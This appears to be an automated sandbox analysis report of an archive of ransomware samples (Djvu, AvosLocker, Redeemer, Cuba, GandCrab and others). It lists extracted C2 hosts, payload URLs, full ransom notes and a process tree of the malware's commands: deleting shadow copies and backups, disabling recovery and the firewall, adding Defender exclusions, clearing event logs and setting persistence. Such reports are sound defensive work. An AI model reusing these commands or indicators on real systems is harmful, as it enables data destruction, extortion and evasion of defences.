Analysis

  • max time kernel
    250s
  • max time network
    228s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15-09-2024 22:10

General

  • Target

    RNSM00482.7z

  • Size

    27.9MB

  • MD5

    9bf6d6ed36fbce36dfa9c23d594d677b

  • SHA1

    c922fcf9bc1dcbf8bbd992acd4834a8110e40477

  • SHA256

    2f4c48af21206e7be9d0a59ebd7ced2b5f2638dad52f76389adb5317fddf9a2e

  • SHA512

    ed422d7e350246861d7ff2d56cd86f925233a5682686517f73e645cccc4ea2dd146a78811dc9389872ec0bd8c7bc2327a8f37fed905f0b8c48c4b5655076f9b7

  • SSDEEP

    786432:uD9Xo4F/hdhUY+mF9nb5QTqEtTH+3+U5Pe2n1GlBINEyFnx:qYu5dO3yJ5QTtTHq+2f9dx

Malware Config

Extracted

Family

djvu

C2

http://securebiz.org/fhsgtsspen6/get.php

Attributes
  • extension

    .tisc

  • offline_id

    uFHwN7bjwCkJEeUg8JHISzLqrwudidH8XsPzHDt1

  • payload_url

    http://znpst.top/dl/build2.exe

    http://securebiz.org/files/1/build3.exe

  • ransomnote

    ATTENTION! Don't worry, you can return all your files! All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key. The only method of recovering files is to purchase decrypt tool and unique key for you. This software will decrypt all your encrypted files. What guarantees you have? You can send one of your encrypted file from your PC and we decrypt it for free. But we can decrypt only 1 file for free. File must not contain valuable information. You can get and look video overview decrypt tool: https://we.tl/t-1JwFK5rT39 Price of private key and decrypt software is $980. Discount 50% available if you contact us first 72 hours, that's price for you is $490. Please note that you'll never restore your data without payment. Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours. To get this software you need write on our e-mail: [email protected] Reserve e-mail address to contact us: [email protected] Your personal ID: 0336gSd743d

rsa_pubkey.plain

Extracted

Path

C:\Users\GET_YOUR_FILES_BACK.txt

Family

avoslocker

Ransom Note
Attention! Your files have been encrypted using AES-256. We highly suggest not shutting down your computer in case encryption process is not finished, as your files may get corrupted. In order to decrypt your files, you must pay for the decryption key & application. You may do so by visiting us at http://avosjon4pfh3y7ew3jdwz6ofw7lljcxlbk7hcxxmnxlh5kvf2akcqjad.onion. This is an onion address that you may access using Tor Browser which you may download at https://www.torproject.org/download/ Details such as pricing, how long before the price increases and such will be available to you once you enter your ID presented to you below in this note in our website. Contact us soon, because those who don't have their data leaked in our press release blog and the price they'll have to pay will go up significantly. The corporations whom don't pay or fail to respond in a swift manner can be found in our blog, accessible at http://avosqxh72b5ia23dl5fgwcpndkctuzqvh2iefk5imp3pi5gfhel5klad.onion Message from agent: Your clients files downloaded from your network and publish on our blog just in 3 day if you fail to pay the $135,000 in 3 days. Your ID: e3000da7b506c32094bbcd168f4047c1d5e05ef06cdde8f5d5a7faa4023fc506
URLs

http://avosjon4pfh3y7ew3jdwz6ofw7lljcxlbk7hcxxmnxlh5kvf2akcqjad.onion

http://avosqxh72b5ia23dl5fgwcpndkctuzqvh2iefk5imp3pi5gfhel5klad.onion

Extracted

Family

tofsee

C2

43.231.4.7

lazystax.ru

Extracted

Path

C:\Read Me.TXT

Ransom Note
8888888b. 888 888 Y88b 888 888 888 888 888 d88P .d88b. .d88888 .d88b. .d88b. 88888b.d88b. .d88b. 888d888 8888888P" d8P Y8b d88" 888 d8P Y8b d8P Y8b 888 "888 "88b d8P Y8b 888P" 888 T88b 88888888 888 888 88888888 88888888 888 888 888 88888888 888 888 T88b Y8b. Y88b 888 Y8b. Y8b. 888 888 888 Y8b. 888 888 T88b "Y8888 "Y88888 "Y8888 "Y8888 888 888 888 "Y8888 888 Made by Cerebrate - Dread Forums TOR [http://dreadytofatroptsdj6io7l3xptbet6onoyno2yv7jicoxknyazubrad.onion/] [Q1] What happened, I cannot open my files and they have an odd extension? [A1] Your files have been encrypted by Redeemer, a new ransomware operation. [Q2] Is there any way to recover my files? [A2] Yes, you can recover your files. This will however cost you money in XMR (Monero). [Q3] Is there any any way to recover my files without paying? [A3] Without paying it is impossible your files. Redeemer uses most secure algorithms and a sophisticated encryption scheme which guarantees security. Without a proper key, you will never regain access to your files. [Q4] What is XMR (Monero)? [A4] It is a privacy oriented cryptocurrency. You can learn more about Monero on getmonero.org. You can view ways to purchase it on www.monero.how/how-to-buy-monero. [Q5] How will I decrypt my files? [A5] Follow the general instructions: -1. Buy 20 XMR. -2. Contact [email protected] and send the following key: -----BEGIN REDEEMER PUBLIC KEY----- MzUndiRYV+e8g3gHPa9XoJTl8lk67EWZN/7k3enqLXEg9gzK53 uefBCVyOZtGWEpJ9E86ieElygcWCljyw9lvnuELxma34Nc2amh OjNHxdV1i5Oa5i/+SaHsbsxb5C4GwBfM2YKjt9OvlpMHPvAOQv /z42gTaJs7k2seo8gMdtR/5ohhISnn9a209hdmnpNqfW++094B rahBD0cQxPmCGb5S1N/HWZzajD4MxYHUJNYSlmU3BCZ2Tripj9 BSoMfxnBruhMeXV2Wol0guKLEpxuXN2nN2tPpdBZ72tfmXitT9 UAENpqAwPNraEs+fsQduR2P3wV9pdtKGpnhzUohGUDapT1+Ffx gEYrqmP5L2BxwANj+Fk6tUcrO7WVzRrhJkMBgg1RbIAanxL49N er9HMsMIC9dQXTABux8zWJCVTIHXsiiqfA9BqGeq7TdSxA2t/j bQQYmjD6GY33vhcB4wZlrqoGekaM3ZIQHzPuAjWcyur/T5kuF/ PLWKaHnhVfksTvKVfDJ5c5D3BJemWczG9OS2RpAQbdSZ+gS9er SoYc7LiQaHwgbJ7iL+Xua3/Jh75id7ulXJRTxGm7Z76US1yvL6 +VRdPvrWU4B7dSyyp222cv3+CZEwit9g1lVcnAokS5q7o82Fmr NLbKSoO7m/Fa4lOSbMYTUvT6qQlUFKtQ2wJg== -----END REDEEMER PUBLIC KEY----- -3. You will receive an XMR address where you will need to pay the requested amount of Monero. -4. After you pay and the payment is verified, you will receive a decryption tool and a key which will restore all your files and your computer back to normal.

Extracted

Path

F:\Program Files\FoxitReader\bin\!! READ ME !!.txt

Ransom Note
Good day. All your files are encrypted. For decryption contact us. Write here [email protected] reserve [email protected] jabber [email protected] We also inform that your databases, ftp server and file server were downloaded by us to our servers. If we do not receive a message from you within three days, we regard this as a refusal to negotiate. Check our platform: http://cuba4ikm4jakjgmkezytyawtdgr2xymvy6nvzgw5cglswg3si76icnqd.onion/ * Do not rename encrypted files. * Do not try to decrypt your data using third party software, it may cause permanent data loss. * Do not stop process of encryption, because partial encryption cannot be decrypted.
URLs

http://cuba4ikm4jakjgmkezytyawtdgr2xymvy6nvzgw5cglswg3si76icnqd.onion/

Extracted

Family

urelas

C2

1.234.83.146

133.242.129.155

218.54.31.226

218.54.30.235

218.54.31.165

Signatures

  • Avoslocker Ransomware

    Avoslocker is a relatively new ransomware, that was observed in late June and early July, 2021.

  • Chaos

    Ransomware family first seen in June 2021.

  • Chaos Ransomware 2 IoCs
  • Detect MafiaWare666 ransomware 2 IoCs
  • Detected Djvu ransomware 8 IoCs
  • Djvu Ransomware

    Ransomware which is a variant of the STOP family.

  • GandCrab payload 3 IoCs
  • Gandcrab

    Gandcrab is a Trojan horse that encrypts files on a computer.

  • MafiaWare666 Ransomware

    MafiaWare666 is ransomware written in C# with multiple variants.

  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Urelas

    Urelas is a trojan targeting card games.

  • Clears Windows event logs 1 TTPs 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Creates new service(s) 2 TTPs
  • Disables Task Manager via registry modification
  • Modifies Windows Firewall 2 TTPs 3 IoCs
  • Stops running service(s) 4 TTPs
  • ASPack v2.12-2.42 2 IoCs

    Detects executables packed with ASPack v2.12-2.42

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 15 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
  • UPX packed file 19 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 6 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Uses Tor communications 1 TTPs

    Malware can proxy its traffic through Tor for more anonymity.

  • AutoIT Executable 8 IoCs

    AutoIT scripts compiled to PE executables.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 16 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 7 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 26 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Modifies registry class 2 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\RNSM00482.7z
    1⤵
    • Modifies registry class
    PID:4508
  • C:\Windows\system32\OpenWith.exe
    C:\Windows\system32\OpenWith.exe -Embedding
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:3004
  • C:\Windows\System32\rundll32.exe
    C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
    1⤵
      PID:1232
    • C:\Program Files\7-Zip\7zFM.exe
      "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\RNSM00482.7z"
      1⤵
      • Suspicious behavior: GetForegroundWindowSpam
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4932
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
      1⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1096
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3332
        • C:\Users\Admin\Desktop\00482\HEUR-Trojan-Ransom.MSIL.Agent.gen-d2080b0b0f087ebe9c16d91a25ceb1d5d4c32bed258f4dcb91c3b83bb0070db7.exe
          HEUR-Trojan-Ransom.MSIL.Agent.gen-d2080b0b0f087ebe9c16d91a25ceb1d5d4c32bed258f4dcb91c3b83bb0070db7.exe
          3⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          PID:4120
        • C:\Users\Admin\Desktop\00482\HEUR-Trojan-Ransom.MSIL.Blocker.gen-174baeb61d7db21bc0034a6add46e2c8b1579b9e0be8bedea96f612debd7b14d.exe
          HEUR-Trojan-Ransom.MSIL.Blocker.gen-174baeb61d7db21bc0034a6add46e2c8b1579b9e0be8bedea96f612debd7b14d.exe
          3⤵
          • Executes dropped EXE
          PID:2864
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" #/k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\system32\Microsoft\Airexpress & exit
            4⤵
              PID:4960
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\system32\Microsoft\Airexpress
                5⤵
                • Command and Scripting Interpreter: PowerShell
                PID:5704
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" #/k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\system32\Holocryptic\Crossbarre.exe & exit
              4⤵
                PID:4188
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\system32\Holocryptic\Crossbarre.exe
                  5⤵
                  • Command and Scripting Interpreter: PowerShell
                  PID:5552
              • C:\Windows\System32\ipconfig.exe
                "C:\Windows\System32\ipconfig.exe" flushdns
                4⤵
                • Gathers network information
                PID:2136
              • C:\Windows\SYSTEM32\schtasks.exe
                "schtasks" /delete /tn Service /f
                4⤵
                  PID:3548
                • C:\Windows\SYSTEM32\schtasks.exe
                  "schtasks" /create /sc minute /mo 10 /tn Service /tr "C:\Windows\system32\Holocryptic\Crossbarre.exe"
                  4⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:3760
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
                  /Processid:{0a52d887-c53b-4a50-a125-d38c5aaa675f}
                  4⤵
                    PID:7592
                • C:\Users\Admin\Desktop\00482\HEUR-Trojan-Ransom.MSIL.Crypren.gen-0c60599f5e5c8172c4b7a551f3ba4b43aeec5fea6976bf8fd2b38e5fb1ee8f13.exe
                  HEUR-Trojan-Ransom.MSIL.Crypren.gen-0c60599f5e5c8172c4b7a551f3ba4b43aeec5fea6976bf8fd2b38e5fb1ee8f13.exe
                  3⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:2380
                • C:\Users\Admin\Desktop\00482\HEUR-Trojan-Ransom.MSIL.Encoder.gen-1d871d84ee02630558411e47c81ef2aa8bef8f6cd8daaf594f133f545f772c26.exe
                  HEUR-Trojan-Ransom.MSIL.Encoder.gen-1d871d84ee02630558411e47c81ef2aa8bef8f6cd8daaf594f133f545f772c26.exe
                  3⤵
                  • Modifies WinLogon for persistence
                  • Executes dropped EXE
                  • Sets desktop wallpaper using registry
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2340
                • C:\Users\Admin\Desktop\00482\HEUR-Trojan-Ransom.MSIL.Purgen.gen-77181bf77dde9838240d6ae57aaf37d2e96cc089a5bdd8c530a9b5195c290851.exe
                  HEUR-Trojan-Ransom.MSIL.Purgen.gen-77181bf77dde9838240d6ae57aaf37d2e96cc089a5bdd8c530a9b5195c290851.exe
                  3⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of AdjustPrivilegeToken
                  PID:248
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 248 -s 1608
                    4⤵
                    • Program crash
                    PID:2420
                • C:\Users\Admin\Desktop\00482\HEUR-Trojan-Ransom.Win32.Blocker.gen-6c2fd975d70bfebbac1ca3661f8abd7308b8542a036dd8abfd223b1b78d58847.exe
                  HEUR-Trojan-Ransom.Win32.Blocker.gen-6c2fd975d70bfebbac1ca3661f8abd7308b8542a036dd8abfd223b1b78d58847.exe
                  3⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:760
                  • C:\Users\Admin\1740948824551711\wcfgmgr32.exe
                    "C:\Users\Admin\1740948824551711\wcfgmgr32.exe"
                    4⤵
                      PID:5212
                  • C:\Users\Admin\Desktop\00482\HEUR-Trojan-Ransom.Win32.Blocker.pef-f274951a2e7bc1d5c4e2c5ffd8bb93efd1ca9abc7aa1fc32f0196eec424a4f39.exe
                    HEUR-Trojan-Ransom.Win32.Blocker.pef-f274951a2e7bc1d5c4e2c5ffd8bb93efd1ca9abc7aa1fc32f0196eec424a4f39.exe
                    3⤵
                    • Checks computer location settings
                    • Executes dropped EXE
                    • System Location Discovery: System Language Discovery
                    • Suspicious use of WriteProcessMemory
                    PID:2148
                    • C:\Users\Admin\AppData\Local\Temp\zbhnd.exe
                      "C:\Users\Admin\AppData\Local\Temp\zbhnd.exe"
                      4⤵
                      • Executes dropped EXE
                      • System Location Discovery: System Language Discovery
                      PID:4044
                  • C:\Users\Admin\Desktop\00482\HEUR-Trojan-Ransom.Win32.Crypmodadv.vho-63064e7098dd5834bf63c40f0645d1fe6be93de9c59b0028bbdff3424d7fe35b.exe
                    HEUR-Trojan-Ransom.Win32.Crypmodadv.vho-63064e7098dd5834bf63c40f0645d1fe6be93de9c59b0028bbdff3424d7fe35b.exe
                    3⤵
                    • Executes dropped EXE
                    • Drops file in Program Files directory
                    PID:3512
                  • C:\Users\Admin\Desktop\00482\HEUR-Trojan-Ransom.Win32.Cryptoff.vho-fd9867c02033d592fbaa4cce9eee14d7d1b6bb90beb5fb5b12379946311a37fd.exe
                    HEUR-Trojan-Ransom.Win32.Cryptoff.vho-fd9867c02033d592fbaa4cce9eee14d7d1b6bb90beb5fb5b12379946311a37fd.exe
                    3⤵
                    • Executes dropped EXE
                    • Adds Run key to start application
                    PID:4884
                  • C:\Users\Admin\Desktop\00482\HEUR-Trojan-Ransom.Win32.Cryptor.gen-1b53c48f6dbe0eba14631c633e941417014125aa731b5e2f4caa444e1099d13a.exe
                    HEUR-Trojan-Ransom.Win32.Cryptor.gen-1b53c48f6dbe0eba14631c633e941417014125aa731b5e2f4caa444e1099d13a.exe
                    3⤵
                    • Executes dropped EXE
                    • System Location Discovery: System Language Discovery
                    PID:1416
                  • C:\Users\Admin\Desktop\00482\HEUR-Trojan-Ransom.Win32.Cuba.gen-adb12f4ed01d1f59ffc45186fc85d502ddeebfd26438aa2c7e4383566fb9739f.exe
                    HEUR-Trojan-Ransom.Win32.Cuba.gen-adb12f4ed01d1f59ffc45186fc85d502ddeebfd26438aa2c7e4383566fb9739f.exe
                    3⤵
                    • Executes dropped EXE
                    • System Location Discovery: System Language Discovery
                    PID:2884
                  • C:\Users\Admin\Desktop\00482\HEUR-Trojan-Ransom.Win32.GandCrypt.pef-afb594d44889eabc8ae1fde68f3ce3344a23ffc9fef251e4c14af948b2c9ce72.exe
                    HEUR-Trojan-Ransom.Win32.GandCrypt.pef-afb594d44889eabc8ae1fde68f3ce3344a23ffc9fef251e4c14af948b2c9ce72.exe
                    3⤵
                    • Executes dropped EXE
                    • System Location Discovery: System Language Discovery
                    • Checks SCSI registry key(s)
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3120
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -u -p 3120 -s 488
                      4⤵
                      • Program crash
                      PID:5364
                  • C:\Users\Admin\Desktop\00482\HEUR-Trojan-Ransom.Win32.Gen.gen-cbcc839cbe4c2c684dfe9fcfb16ed261d9b6b2a73a404a45fe740c0f46bbcc23.exe
                    HEUR-Trojan-Ransom.Win32.Gen.gen-cbcc839cbe4c2c684dfe9fcfb16ed261d9b6b2a73a404a45fe740c0f46bbcc23.exe
                    3⤵
                    • Executes dropped EXE
                    • System Location Discovery: System Language Discovery
                    PID:2748
                  • C:\Users\Admin\Desktop\00482\HEUR-Trojan-Ransom.Win32.Generic-2ca977fd3323e3e4997747476965c2251feccc466809e3594ec1fec47754aa2f.exe
                    HEUR-Trojan-Ransom.Win32.Generic-2ca977fd3323e3e4997747476965c2251feccc466809e3594ec1fec47754aa2f.exe
                    3⤵
                    • Executes dropped EXE
                    PID:3540
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /c net stop MSDTC
                      4⤵
                        PID:4504
                        • C:\Windows\SysWOW64\net.exe
                          net stop MSDTC
                          5⤵
                            PID:5392
                            • C:\Windows\SysWOW64\net1.exe
                              C:\Windows\system32\net1 stop MSDTC
                              6⤵
                                PID:5472
                          • C:\Windows\SysWOW64\cmd.exe
                            C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
                            4⤵
                              PID:5964
                            • C:\Windows\SysWOW64\cmd.exe
                              C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled no
                              4⤵
                                PID:6140
                              • C:\Windows\SysWOW64\cmd.exe
                                C:\Windows\system32\cmd.exe /c wbadmin delete catalog -quiet
                                4⤵
                                  PID:2240
                                • C:\Windows\SysWOW64\cmd.exe
                                  C:\Windows\system32\cmd.exe /c net stop SQLSERVERAGENT
                                  4⤵
                                    PID:5064
                                    • C:\Windows\SysWOW64\net.exe
                                      net stop SQLSERVERAGENT
                                      5⤵
                                        PID:5244
                                        • C:\Windows\SysWOW64\net1.exe
                                          C:\Windows\system32\net1 stop SQLSERVERAGENT
                                          6⤵
                                            PID:1908
                                      • C:\Windows\SysWOW64\cmd.exe
                                        C:\Windows\system32\cmd.exe /c net stop MSSQLSERVER
                                        4⤵
                                          PID:3348
                                          • C:\Windows\SysWOW64\net.exe
                                            net stop MSSQLSERVER
                                            5⤵
                                              PID:6016
                                              • C:\Windows\SysWOW64\net1.exe
                                                C:\Windows\system32\net1 stop MSSQLSERVER
                                                6⤵
                                                  PID:5984
                                            • C:\Windows\SysWOW64\cmd.exe
                                              C:\Windows\system32\cmd.exe /c net stop vds
                                              4⤵
                                                PID:5072
                                                • C:\Windows\SysWOW64\net.exe
                                                  net stop vds
                                                  5⤵
                                                    PID:2720
                                                    • C:\Windows\SysWOW64\net1.exe
                                                      C:\Windows\system32\net1 stop vds
                                                      6⤵
                                                        PID:5128
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c netsh advfirewall set currentprofile state off
                                                    4⤵
                                                      PID:3956
                                                      • C:\Windows\SysWOW64\netsh.exe
                                                        netsh advfirewall set currentprofile state off
                                                        5⤵
                                                        • Modifies Windows Firewall
                                                        PID:4880
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c netsh firewall set opmode mode=disable
                                                      4⤵
                                                        PID:5724
                                                        • C:\Windows\SysWOW64\netsh.exe
                                                          netsh firewall set opmode mode=disable
                                                          5⤵
                                                          • Modifies Windows Firewall
                                                          PID:3528
                                                      • C:\Windows\SysWOW64\cmd.exe
                                                        C:\Windows\system32\cmd.exe /c net stop SQLWriter
                                                        4⤵
                                                          PID:4264
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c net stop SQLBrowser
                                                          4⤵
                                                            PID:7412
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c net stop MSSQLSERVER
                                                            4⤵
                                                              PID:1744
                                                              • C:\Windows\SysWOW64\net.exe
                                                                net stop MSSQLSERVER
                                                                5⤵
                                                                  PID:8200
                                                                  • C:\Windows\SysWOW64\net1.exe
                                                                    C:\Windows\system32\net1 stop MSSQLSERVER
                                                                    6⤵
                                                                      PID:7904
                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /c net stop MSSQL$CONTOSO1
                                                                  4⤵
                                                                    PID:2600
                                                                    • C:\Windows\SysWOW64\net.exe
                                                                      net stop MSSQL$CONTOSO1
                                                                      5⤵
                                                                        PID:9468
                                                                        • C:\Windows\SysWOW64\net1.exe
                                                                          C:\Windows\system32\net1 stop MSSQL$CONTOSO1
                                                                          6⤵
                                                                            PID:10276
                                                                    • C:\Users\Admin\Desktop\00482\HEUR-Trojan-Ransom.Win32.Generic-70aa68770bdd23400254e08045cba305b674d5c98bd5f9910b9672c76fe5bb0d.exe
                                                                      HEUR-Trojan-Ransom.Win32.Generic-70aa68770bdd23400254e08045cba305b674d5c98bd5f9910b9672c76fe5bb0d.exe
                                                                      3⤵
                                                                        PID:2448
                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                          C:\Windows\system32\cmd.exe /c vssadmin delete shadows /All /Quiet
                                                                          4⤵
                                                                            PID:6024
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            C:\Windows\system32\cmd.exe /c wevtutil clear-log Application
                                                                            4⤵
                                                                              PID:1052
                                                                              • C:\Windows\SysWOW64\wevtutil.exe
                                                                                wevtutil clear-log Application
                                                                                5⤵
                                                                                • Clears Windows event logs
                                                                                PID:1964
                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                              C:\Windows\system32\cmd.exe /c wevtutil clear-log Security
                                                                              4⤵
                                                                                PID:1960
                                                                                • C:\Windows\SysWOW64\wevtutil.exe
                                                                                  wevtutil clear-log Security
                                                                                  5⤵
                                                                                  • Clears Windows event logs
                                                                                  PID:5384
                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                C:\Windows\system32\cmd.exe /c wevtutil clear-log Setup
                                                                                4⤵
                                                                                  PID:5900
                                                                                  • C:\Windows\SysWOW64\wevtutil.exe
                                                                                    wevtutil clear-log Setup
                                                                                    5⤵
                                                                                    • Clears Windows event logs
                                                                                    PID:6012
                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                  C:\Windows\system32\cmd.exe /c wevtutil clear-log System
                                                                                  4⤵
                                                                                    PID:3376
                                                                                    • C:\Windows\SysWOW64\wevtutil.exe
                                                                                      wevtutil clear-log System
                                                                                      5⤵
                                                                                      • Clears Windows event logs
                                                                                      PID:2136
                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                    C:\Windows\system32\cmd.exe /c wbadmin delete catalog -quiet
                                                                                    4⤵
                                                                                      PID:1336
                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                      C:\Windows\system32\cmd.exe /c wbadmin delete systemstatebackup -deleteoldest -quiet
                                                                                      4⤵
                                                                                        PID:6028
                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                        C:\Windows\system32\cmd.exe /c ftype redeemer="C:\Windows\system32\cmd.exe" /c msg * Redeemer Ransowmare - this file cannot be opened until decrypted. Check ReadMe.TXT for more details how to decrypt your file.
                                                                                        4⤵
                                                                                          PID:5916
                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                          C:\Windows\system32\cmd.exe /c assoc .redeem=redeemer
                                                                                          4⤵
                                                                                            PID:4668
                                                                                        • C:\Users\Admin\Desktop\00482\HEUR-Trojan-Ransom.Win32.Generic-cbe63721845f03919c2aa83a4a77280b14932c16fb68e3a46e8c367e24a27909.exe
                                                                                          HEUR-Trojan-Ransom.Win32.Generic-cbe63721845f03919c2aa83a4a77280b14932c16fb68e3a46e8c367e24a27909.exe
                                                                                          3⤵
                                                                                            PID:5416
                                                                                            • C:\Users\Admin\AppData\Roaming\pendrive.exe
                                                                                              "C:\Users\Admin\AppData\Roaming\pendrive.exe" C:\Users\Admin\Desktop\00482\HEUR-Trojan-Ransom.Win32.Generic-cbe63721845f03919c2aa83a4a77280b14932c16fb68e3a46e8c367e24a27909.exe
                                                                                              4⤵
                                                                                                PID:5520
                                                                                                • C:\Users\Admin\AppData\Roaming\Windows Objects\wmiintegrator.exe
                                                                                                  "C:\Users\Admin\AppData\Roaming\Windows Objects\wmiintegrator.exe" unk
                                                                                                  5⤵
                                                                                                    PID:5576
                                                                                                    • C:\Users\Admin\AppData\Roaming\Windows Objects\wmihostwin.exe
                                                                                                      "C:\Users\Admin\AppData\Roaming\Windows Objects\wmihostwin.exe" unk2
                                                                                                      6⤵
                                                                                                        PID:5652
                                                                                                        • C:\Users\Admin\AppData\Roaming\Windows Objects\wmimic.exe
                                                                                                          "C:\Users\Admin\AppData\Roaming\Windows Objects\wmimic.exe" unk3
                                                                                                          7⤵
                                                                                                            PID:5712
                                                                                                            • C:\Users\Admin\AppData\Roaming\Windows Objects\wmisecure.exe
                                                                                                              "C:\Users\Admin\AppData\Roaming\Windows Objects\wmisecure.exe" execute
                                                                                                              8⤵
                                                                                                                PID:5780
                                                                                                              • C:\Users\Admin\AppData\Roaming\Windows Objects\wmisecure64.exe
                                                                                                                "C:\Users\Admin\AppData\Roaming\Windows Objects\wmisecure64.exe" autorun
                                                                                                                8⤵
                                                                                                                  PID:5816
                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                    "C:\Windows\System32\reg.exe" add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "KeybordDriver" /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Windows Objects\wmimic.exe\" winstart" /f
                                                                                                                    9⤵
                                                                                                                      PID:3088
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      "C:\Windows\System32\reg.exe" add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "KeybordDriver" /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Windows Objects\wmimic.exe\" winstart" /f
                                                                                                                      9⤵
                                                                                                                        PID:5392
                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                        "C:\Windows\System32\reg.exe" add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "KeybordDriver" /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Windows Objects\wmimic.exe\" winstart" /f
                                                                                                                        9⤵
                                                                                                                          PID:5228
                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                          "C:\Windows\System32\reg.exe" add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "KeybordDriver" /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Windows Objects\wmimic.exe\" winstart" /f
                                                                                                                          9⤵
                                                                                                                            PID:5584
